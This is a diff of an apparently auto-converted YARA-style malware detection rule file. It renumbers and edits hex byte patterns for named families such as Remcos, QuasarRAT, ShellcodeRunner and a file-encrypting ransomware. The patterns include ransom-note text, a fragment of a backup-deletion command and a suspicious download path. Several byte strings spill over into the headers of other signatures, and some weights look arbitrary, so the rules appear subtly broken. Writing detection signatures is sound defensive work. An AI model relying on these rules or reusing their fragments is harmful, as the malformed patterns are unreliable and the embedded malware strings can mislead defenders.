((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-29301+(#a_24_3 & 1)*-30392) >=4 + +} +rule _InfrastructureShared_17374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -191426,7 +204239,7 @@ rule _InfrastructureShared_16302{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*26214+(#a_75_2 & 1)*29774+(#a_54_3 & 1)*14964+(#a_00_4 & 1)*114) >=4 } -rule _InfrastructureShared_16303{ +rule _InfrastructureShared_17375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -191440,7 +204253,7 @@ rule _InfrastructureShared_16303{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_6f_2 & 1)*385+(#a_42_3 & 1)*25970+(#a_20_4 & 1)*24952) >=4 } -rule _InfrastructureShared_16304{ +rule _InfrastructureShared_17376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -191448,12 +204261,26 @@ rule _InfrastructureShared_16304{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 32 33 21 4d 54 42 00 01 00 25 81 01 24 34 38 34 62 36 64 62 61 2d 31 63 35 31 2d 34 38 39 61 2d 61 37 37 32 2d 33 33 63 63 34 38 32 62 39 34 35 31 01 00 53 03 } //18467 $a_00_1 = {6a 00 73 00 63 00 61 00 62 00 6f 00 67 00 61 00 64 00 6f 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 77 00 70 00 2f 00 70 00 61 00 6e 00 65 00 6c } //47 $a_00_3 = {6f 00 61 00 64 00 73 00 2f 00 90 02 20 2e 00 64 00 61 00 74 00 90 00 01 00 2c 03 2f 2f 6a 73 63 61 62 6f 67 61 64 6f 73 2e 63 6f 6d 2f 77 70 2f 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 73 2f 90 02 20 2e 64 61 74 90 00 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0b 81 01 50 72 69 6e 74 4f 75 74 70 75 74 00 00 78 05 } //112 - $a_00_4 = {04 00 09 00 } //1 + $a_00_4 = {04 00 05 00 } //1 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*47+(#a_00_3 & 1)*112+(#a_00_4 & 1)*1) >=4 } -rule _InfrastructureShared_16305{ +rule _InfrastructureShared_17377{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 47 00 01 00 19 03 48 89 c2 48 8b 85 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 27 03 48 8b 95 10 02 00 00 48 8b 85 c0 01 00 00 41 b8 90 01 04 48 89 } //21283 + $a_05_1 = {90 01 04 ff d0 48 89 85 b8 01 00 00 90 00 01 00 23 03 48 8b 85 00 06 00 00 8b 95 78 02 00 00 41 89 d0 ba 90 01 04 b9 90 01 04 ff d0 48 89 85 f0 05 00 00 90 00 01 00 47 03 4c 8b 95 d8 05 00 00 48 8b 95 e8 05 00 00 48 8b 85 f0 05 00 00 48 c7 44 24 30 90 01 04 c7 44 24 28 90 01 04 48 c7 44 24 20 90 01 04 49 89 d1 41 b8 90 01 04 ba 90 01 04 48 89 c1 41 ff d2 48 89 85 c8 05 00 00 90 00 01 00 23 03 8b 45 fc 48 98 90 01 } //18625 + $a_45_2 = {48 01 d0 8b 00 48 63 d0 48 8b 45 30 48 01 d0 0f b6 00 88 45 fb 90 00 00 00 78 05 01 00 04 00 04 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 6f 67 62 6f 74 2e 43 21 64 68 61 00 04 00 26 01 7b 33 32 34 44 38 32 36 38 2d 36 33 35 45 2d 34 63 34 62 2d 41 39 39 46 2d 34 36 31 43 39 46 34 46 44 33 37 37 7d 02 00 25 01 68 6f 6c 64 73 20 64 61 74 61 20 69 6e 20 61 6e 20 65 6c 65 63 74 72 6f 6d } //18440 + $a_65_3 = {69 63 20 66 6f 72 6d 01 00 0a 01 00 53 54 43 6f 6e 66 69 67 00 01 00 08 01 00 53 54 44 61 74 61 00 01 00 0c 01 73 74 72 75 6e 6c 69 62 2e 64 6c 6c 01 00 0e 01 25 73 6c 6f 6f 70 3a 20 25 64 20 6d 69 6e 01 00 11 01 25 73 70 72 6f 78 79 20 25 64 3a 20 25 73 3a 25 64 f6 ff 1a 01 3c 74 72 61 6e 73 66 65 72 54 65 6d 70 6c 65 74 54 6f } //26465 + $a_6d_4 = {72 79 3e f6 ff 16 01 3c 52 65 71 75 65 73 74 4e 61 74 69 76 65 42 72 6f 77 73 65 72 3e 00 00 78 05 01 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 4e 45 42 21 4d 54 42 00 01 00 42 03 0b 06 16 73 90 01 01 00 00 0a 73 90 01 01 00 00 0a 0c 08 07 6f 90 01 01 00 00 0a de 0a 08 2c } //30035 + condition: + ((#a_46_0 & 1)*21283+(#a_05_1 & 1)*18625+(#a_45_2 & 1)*18440+(#a_65_3 & 1)*26465+(#a_6d_4 & 1)*30035) >=4 + +} +rule _InfrastructureShared_17378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -191471,7 +204298,7 @@ rule _InfrastructureShared_16305{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*-10+(#a_01_8 & 1)*-10) >=4 } -rule _InfrastructureShared_16306{ +rule _InfrastructureShared_17379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -191483,7 +204310,7 @@ rule _InfrastructureShared_16306{ ((#a_46_0 & 1)*16675+(#a_07_2 & 1)*-8691+(#a_00_4 & 1)*101) >=5 } -rule _InfrastructureShared_16307{ +rule _InfrastructureShared_17380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -191495,7 +204322,7 @@ rule _InfrastructureShared_16307{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_4 & 1)*105) >=5 } -rule _InfrastructureShared_16308{ +rule _InfrastructureShared_17381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -191509,7 +204336,7 @@ rule _InfrastructureShared_16308{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*83+(#a_00_4 & 1)*116+(#a_6e_5 & 1)*22330+(#a_00_6 & 1)*28518) >=5 } -rule _InfrastructureShared_16309{ +rule _InfrastructureShared_17382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -191525,7 +204352,7 @@ rule _InfrastructureShared_16309{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*27507+(#a_85_2 & 1)*400+(#a_04_3 & 1)*-28568+(#a_83_4 & 1)*400+(#a_4c_5 & 1)*23390+(#a_6b_6 & 1)*25930) >=5 } -rule _InfrastructureShared_16310{ +rule _InfrastructureShared_17383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -191542,7 +204369,7 @@ rule _InfrastructureShared_16310{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*11621+(#a_20_2 & 1)*29545+(#a_00_3 & 1)*71+(#a_02_4 & 1)*-31997+(#a_65_5 & 1)*21551+(#a_00_6 & 1)*112+(#a_00_7 & 1)*101) >=5 } -rule _InfrastructureShared_16311{ +rule _InfrastructureShared_17384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -191556,7 +204383,7 @@ rule _InfrastructureShared_16311{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28568+(#a_01_2 & 1)*-6144+(#a_65_3 & 1)*29806+(#a_44_4 & 1)*24943) >=6 } -rule _InfrastructureShared_16312{ +rule _InfrastructureShared_17385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -191570,7 +204397,7 @@ rule _InfrastructureShared_16312{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25972+(#a_00_3 & 1)*101+(#a_72_4 & 1)*14930+(#a_1f_5 & 1)*5662) >=6 } -rule _InfrastructureShared_16313{ +rule _InfrastructureShared_17386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -191586,7 +204413,7 @@ rule _InfrastructureShared_16313{ ((#a_54_0 & 1)*18467+(#a_da_1 & 1)*27022+(#a_00_2 & 1)*0+(#a_00_3 & 1)*-8399+(#a_6f_4 & 1)*385+(#a_65_5 & 1)*385+(#a_56_6 & 1)*11890) >=7 } -rule _InfrastructureShared_16314{ +rule _InfrastructureShared_17387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -191602,7 +204429,7 @@ rule _InfrastructureShared_16314{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29298+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_05_4 & 1)*0+(#a_01_5 & 1)*25968+(#a_59_6 & 1)*20589) >=7 } -rule _InfrastructureShared_16315{ +rule _InfrastructureShared_17388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -191619,7 +204446,7 @@ rule _InfrastructureShared_16315{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30318+(#a_52_2 & 1)*25434+(#a_32_3 & 1)*19021+(#a_61_4 & 1)*21294+(#a_26_5 & 1)*9766+(#a_49_6 & 1)*19770+(#a_00_7 & 1)*808) >=8 } -rule _InfrastructureShared_16316{ +rule _InfrastructureShared_17389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -191633,7 +204460,7 @@ rule _InfrastructureShared_16316{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*-32473+(#a_73_2 & 1)*28516+(#a_29_3 & 1)*9769+(#a_52_5 & 1)*21320) >=8 } -rule _InfrastructureShared_16317{ +rule _InfrastructureShared_17390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -191650,7 +204477,7 @@ rule _InfrastructureShared_16317{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*10244+(#a_38_2 & 1)*13155+(#a_74_3 & 1)*19457+(#a_4c_4 & 1)*18223+(#a_2e_5 & 1)*30049+(#a_53_7 & 1)*8448+(#a_69_8 & 1)*29285) >=9 } -rule _InfrastructureShared_16318{ +rule _InfrastructureShared_17391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -191667,7 +204494,7 @@ rule _InfrastructureShared_16318{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30064+(#a_00_2 & 1)*30319+(#a_68_3 & 1)*385+(#a_2f_4 & 1)*26988+(#a_61_5 & 1)*26475+(#a_6d_6 & 1)*276+(#a_41_8 & 1)*8448) >=9 } -rule _InfrastructureShared_16319{ +rule _InfrastructureShared_17392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -191684,7 +204511,7 @@ rule _InfrastructureShared_16319{ ((#a_46_0 & 1)*21283+(#a_64_1 & 1)*26999+(#a_6f_2 & 1)*28265+(#a_01_3 & 1)*3072+(#a_65_4 & 1)*25427+(#a_6c_5 & 1)*25940+(#a_30_6 & 1)*12330+(#a_01_8 & 1)*2304) >=9 } -rule _InfrastructureShared_16320{ +rule _InfrastructureShared_17393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -191703,7 +204530,7 @@ rule _InfrastructureShared_16320{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_05_8 & 1)*0+(#a_2a_9 & 1)*10800) >=9 } -rule _InfrastructureShared_16321{ +rule _InfrastructureShared_17394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -191722,7 +204549,7 @@ rule _InfrastructureShared_16321{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*29281+(#a_01_2 & 1)*2304+(#a_6e_3 & 1)*27717+(#a_00_4 & 1)*29816+(#a_69_5 & 1)*385+(#a_32_6 & 1)*22062+(#a_11_7 & 1)*400+(#a_6f_8 & 1)*-29178+(#a_64_9 & 1)*28019) >=10 } -rule _InfrastructureShared_16322{ +rule _InfrastructureShared_17395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -191740,7 +204567,7 @@ rule _InfrastructureShared_16322{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*-32498+(#a_61_2 & 1)*26996+(#a_65_3 & 1)*26469+(#a_04_4 & 1)*1025+(#a_01_5 & 1)*28440+(#a_65_7 & 1)*384+(#a_70_8 & 1)*12851+(#a_00_9 & 1)*84) >=10 } -rule _InfrastructureShared_16323{ +rule _InfrastructureShared_17396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -191753,7 +204580,7 @@ rule _InfrastructureShared_16323{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*-28561+(#a_90_3 & 1)*517+(#a_00_4 & 1)*1606) >=16 } -rule _InfrastructureShared_16324{ +rule _InfrastructureShared_17397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 08 00 21 " @@ -191769,7 +204596,7 @@ rule _InfrastructureShared_16324{ ((#a_4e_0 & 1)*20259+(#a_54_1 & 1)*24933+(#a_00_2 & 1)*120+(#a_78_3 & 1)*29543+(#a_21_4 & 1)*11877+(#a_00_5 & 1)*91+(#a_00_7 & 1)*108) >=40 } -rule _InfrastructureShared_16325{ +rule _InfrastructureShared_17398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -191780,7 +204607,19 @@ rule _InfrastructureShared_16325{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=300 } -rule _InfrastructureShared_16326{ +rule _InfrastructureShared_17399{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 53 58 21 4d 54 42 00 14 00 3f 03 33 c0 b9 00 00 40 01 f3 aa 0f b6 84 24 68 01 00 00 85 c0 74 3b 48 c7 44 24 20 00 00 00 } //21539 + $a_00_1 = {10 00 00 4c 8b 84 24 90 01 01 00 00 00 48 8b 54 24 48 48 8b 8c 24 50 01 00 00 ff 15 90 00 0f 00 68 01 41 33 94 89 f0 f1 15 00 48 33 c2 c1 ea 08 0f b6 c8 0f b6 46 05 41 33 94 89 f0 f1 15 00 48 33 c2 c1 ea 08 0f b6 c8 0f b6 46 06 41 33 94 89 f0 f1 15 00 48 33 c2 c1 ea 08 0f b6 c8 0f b6 46 07 48 83 c6 08 41 33 94 89 f0 f1 15 00 48 33 c2 c1 ea 08 0f b6 c8 41 33 94 89 f0 f1 15 00 8b ca 49 83 e8 01 0f 85 45 ff ff ff 0a 00 20 01 0f b6 16 48 8d 76 01 8b c1 c1 e9 08 48 33 d0 0f b6 c2 41 33 8c 81 f0 f1 15 00 48 83 ed 01 75 e0 00 00 78 06 01 00 01 00 01 00 05 } //16640 + $a_46_2 = {6b 65 43 65 72 74 21 4d 45 55 53 43 41 32 32 00 01 00 2a 11 04 f1 c3 29 6f 6a 6e be 6e e7 73 50 5f 69 5e } //8448 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*16640+(#a_46_2 & 1)*8448) >=45 + +} +rule _InfrastructureShared_17400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -191794,7 +204633,7 @@ rule _InfrastructureShared_16326{ ((#a_6b_0 & 1)*17955+(#a_12_1 & 1)*-29734+(#a_e2_2 & 1)*-18268+(#a_a1_3 & 1)*-1399+(#a_2e_4 & 1)*8812) >=1 } -rule _InfrastructureShared_16327{ +rule _InfrastructureShared_17401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191806,7 +204645,7 @@ rule _InfrastructureShared_16327{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25962+(#a_63_2 & 1)*29799) >=3 } -rule _InfrastructureShared_16328{ +rule _InfrastructureShared_17402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191818,7 +204657,7 @@ rule _InfrastructureShared_16328{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=3 } -rule _InfrastructureShared_16329{ +rule _InfrastructureShared_17403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191830,7 +204669,7 @@ rule _InfrastructureShared_16329{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28793+(#a_73_2 & 1)*21335) >=3 } -rule _InfrastructureShared_16330{ +rule _InfrastructureShared_17404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -191841,7 +204680,7 @@ rule _InfrastructureShared_16330{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-18432) >=3 } -rule _InfrastructureShared_16331{ +rule _InfrastructureShared_17405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -191855,7 +204694,7 @@ rule _InfrastructureShared_16331{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*29554+(#a_72_2 & 1)*8306+(#a_66_3 & 1)*8306+(#a_61_4 & 1)*23668) >=3 } -rule _InfrastructureShared_16332{ +rule _InfrastructureShared_17406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " @@ -191871,7 +204710,7 @@ rule _InfrastructureShared_16332{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31090+(#a_67_2 & 1)*19456+(#a_ff_3 & 1)*16485+(#a_00_4 & 1)*106+(#a_a2_5 & 1)*22273+(#a_01_7 & 1)*0) >=3 } -rule _InfrastructureShared_16333{ +rule _InfrastructureShared_17407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -191884,7 +204723,7 @@ rule _InfrastructureShared_16333{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_2 & 1)*104+(#a_00_3 & 1)*114) >=4 } -rule _InfrastructureShared_16334{ +rule _InfrastructureShared_17408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -191895,7 +204734,7 @@ rule _InfrastructureShared_16334{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_16335{ +rule _InfrastructureShared_17409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -191907,7 +204746,7 @@ rule _InfrastructureShared_16335{ ((#a_77_0 & 1)*16675+(#a_63_2 & 1)*0+(#a_43_3 & 1)*11577) >=5 } -rule _InfrastructureShared_16336{ +rule _InfrastructureShared_17410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -191921,7 +204760,7 @@ rule _InfrastructureShared_16336{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*30293+(#a_62_2 & 1)*25958+(#a_00_3 & 1)*6+(#a_6a_4 & 1)*29268) >=5 } -rule _InfrastructureShared_16337{ +rule _InfrastructureShared_17411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -191936,7 +204775,7 @@ rule _InfrastructureShared_16337{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_73_2 & 1)*28516+(#a_62_3 & 1)*22273+(#a_6f_4 & 1)*25449+(#a_6d_5 & 1)*21295) >=6 } -rule _InfrastructureShared_16338{ +rule _InfrastructureShared_17412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -191950,7 +204789,7 @@ rule _InfrastructureShared_16338{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*28499+(#a_52_3 & 1)*28271+(#a_21_4 & 1)*11887+(#a_20_5 & 1)*28261) >=6 } -rule _InfrastructureShared_16339{ +rule _InfrastructureShared_17413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -191965,7 +204804,7 @@ rule _InfrastructureShared_16339{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*12148+(#a_74_2 & 1)*28515+(#a_73_4 & 1)*29441+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=6 } -rule _InfrastructureShared_16340{ +rule _InfrastructureShared_17414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -191980,7 +204819,7 @@ rule _InfrastructureShared_16340{ ((#a_4c_0 & 1)*21539+(#a_2d_1 & 1)*11565+(#a_69_2 & 1)*28528+(#a_75_3 & 1)*29813+(#a_00_5 & 1)*98+(#a_00_6 & 1)*54) >=6 } -rule _InfrastructureShared_16341{ +rule _InfrastructureShared_17415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -191996,7 +204835,7 @@ rule _InfrastructureShared_16341{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=6 } -rule _InfrastructureShared_16342{ +rule _InfrastructureShared_17416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -192004,28 +204843,15 @@ rule _InfrastructureShared_16342{ $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 70 6b 31 32 00 02 00 23 80 01 49 20 61 67 72 65 65 20 74 6f 20 73 65 74 20 6d 79 20 64 65 66 61 75 6c 74 20 73 65 61 72 63 68 20 74 } //16675 $a_61_2 = {63 68 20 6f 66 66 65 72 20 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 02 00 13 80 01 67 65 74 5f 54 68 61 6e 6b 79 6f 75 50 61 67 65 55 72 6c 01 00 0c 80 01 67 65 74 5f 53 74 61 74 73 55 72 6c 01 00 14 80 01 73 65 74 5f 44 65 66 61 75 6c 74 42 72 6f 77 73 65 72 49 64 01 00 14 80 01 67 65 74 5f 44 65 66 61 75 } //29441 $a_72_3 = {77 73 65 72 49 64 9c ff 0c 80 01 57 6e 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 06 01 00 07 00 07 00 } //29804 - $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4d 73 69 6c 2f 51 75 61 73 61 72 52 41 54 2e 4e 49 54 21 4d 54 42 00 } //4 - $a_03_5 = {38 27 00 00 00 28 ?? 00 00 0a 72 01 00 00 70 28 ?? 00 00 0a 25 11 01 28 ?? 00 00 0a 28 ?? 00 00 0a 26 20 02 00 00 00 38 bb ff ff ff 38 66 00 00 00 20 04 00 00 00 fe 0e 03 00 38 a4 ff ff ff 11 04 72 0b 00 00 70 6f 08 00 00 0a 6f 09 00 00 0a 13 01 20 00 00 00 00 7e 0b 00 00 04 7b 30 00 00 04 3a 81 ff ff ff 26 20 01 00 00 00 38 76 ff ff ff 11 01 3a 8d ff ff ff 20 00 00 00 00 7e 0b 00 00 04 7b 48 00 00 04 3a 5b ff ff ff 26 20 00 00 00 00 38 50 ff ff ff } //2 - $a_01_6 = {57 72 69 74 65 41 6c 6c 42 79 74 65 73 } //2 WriteAllBytes - $a_01_7 = {47 65 74 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 } //2 GetByteArrayAsync - $a_01_8 = {46 72 6f 6d 4d 69 6e 75 74 65 73 } //1 FromMinutes + $a_23_4 = {4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 46 69 6c 65 43 72 79 70 74 6f 72 2e 41 42 21 4d 54 42 } //7 LF:Ransom:MSIL/FileCryptor.AB!MTB + $a_20_6 = {6f 74 20 74 72 79 20 74 6f 20 72 65 6e 61 6d 65 20 65 6e 63 72 79 70 74 65 64 20 66 69 6c 65 73 01 00 27 81 01 59 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 69 73 20 69 6e 66 65 63 74 65 64 20 77 69 74 68 20 61 20 76 69 72 75 73 2e 01 00 1c 81 01 41 4c 4c 20 59 4f 55 52 20 46 49 4c 45 53 20 41 52 45 20 45 4e 43 52 59 50 54 45 44 01 00 } //25601 + $a_2f_7 = {20 } //-32479 + $a_69_8 = {65 20 2f 43 20 59 20 2f 4e 20 2f 44 20 59 20 2f 54 20 31 20 26 20 44 65 6c 01 00 09 81 01 2e 69 6e 66 6f 2e 68 74 61 01 00 14 81 01 53 50 49 5f 53 45 54 44 45 53 4b 57 41 4c 4c 50 41 50 45 52 01 00 11 81 01 66 69 6c 65 45 6e 63 72 79 70 74 69 6f 6e 72 63 34 00 00 78 06 01 00 07 00 07 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //26723 condition: - ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*29441+(#a_72_3 & 1)*29804+(#a_23_4 & 1)*4+(#a_03_5 & 1)*2+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2+(#a_01_8 & 1)*1) >=6 + ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*29441+(#a_72_3 & 1)*29804+(#a_23_4 & 1)*7+(#a_20_6 & 1)*25601+(#a_2f_7 & 1)*-32479+(#a_69_8 & 1)*26723) >=6 } -rule _InfrastructureShared_16343{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 73 69 6c 2f 51 75 61 73 61 72 52 41 54 2e 4e 49 54 21 4d 54 42 00 02 00 a1 03 38 27 00 00 00 28 90 01 01 00 00 0a 72 01 00 00 70 28 90 01 01 00 00 0a 25 11 01 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 26 } //16675 - $a_ff_2 = {ff 38 66 00 00 00 20 04 00 00 00 fe 0e 03 00 38 a4 ff ff ff 11 04 72 0b 00 00 70 6f 08 00 00 0a 6f 09 00 00 0a 13 01 20 00 00 00 00 7e 0b 00 00 04 7b 30 00 00 04 3a 81 ff ff ff 26 20 01 00 00 00 38 76 ff ff ff 11 01 3a 8d ff ff ff 20 00 00 00 00 7e 0b 00 00 04 7b 48 00 00 04 3a 5b ff ff ff 26 20 00 00 00 00 38 50 ff ff ff 90 00 02 00 0d 01 57 72 69 74 65 41 6c 6c 42 79 74 65 73 02 00 11 01 47 65 74 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 0b 01 46 72 6f 6d 4d 69 6e 75 74 65 73 00 00 78 06 01 00 07 00 07 00 07 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d } //14336 - $a_49_3 = {2f 46 69 6c 65 43 72 79 70 74 6f 72 2e 41 42 21 4d 54 42 00 01 00 24 81 01 64 6f 20 6e 6f 74 20 74 72 79 20 74 6f 20 72 65 6e 61 6d 65 20 65 6e 63 72 79 70 74 65 64 20 66 69 6c 65 73 01 00 27 81 01 59 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 69 73 20 } //19770 - condition: - ((#a_46_0 & 1)*16675+(#a_ff_2 & 1)*14336+(#a_49_3 & 1)*19770) >=7 - -} -rule _InfrastructureShared_16344{ +rule _InfrastructureShared_17417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 